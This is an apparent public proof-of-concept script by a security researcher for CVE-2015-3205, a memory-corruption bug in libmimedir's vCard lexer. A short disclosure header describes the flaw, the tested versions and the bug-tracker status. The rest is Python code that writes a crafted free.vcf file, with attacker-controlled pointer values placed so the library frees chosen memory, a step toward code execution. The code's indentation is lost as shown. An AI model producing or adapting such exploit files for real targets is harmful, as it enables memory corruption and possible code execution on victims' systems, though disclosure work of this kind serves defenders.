#!/usr/bin/python
# libmimedir-free.py
#
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)
#
# Jeremy Brown [jbrown3264/gmail]
# June 2015
#
# -Synopsis-
#
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.
#
# -Tested-
#
# libmimedir-0.5.1.tar.gz
# libmimedir-static 0.4-13.fc21
#
# -Notes-
#
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.
#
from struct import pack
def main():
mime = "begin:vcard<x\nx;type=x;type=x,"
mime += pack("<Q", 0x4141414141414141) # mdm->p
mime += pack("<Q", 0x4242424242424242) # mdm->next
mime += ":x>x.l:x"
mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR
print("Writing free.vcf to local directory...")
try:
with open("free.vcf", 'wb') as outfile:
outfile.write(mime)
except Exception as error:
print("Error: %s\n" % error);
return
print("Done\n")
return
if __name__ == "__main__":
main()
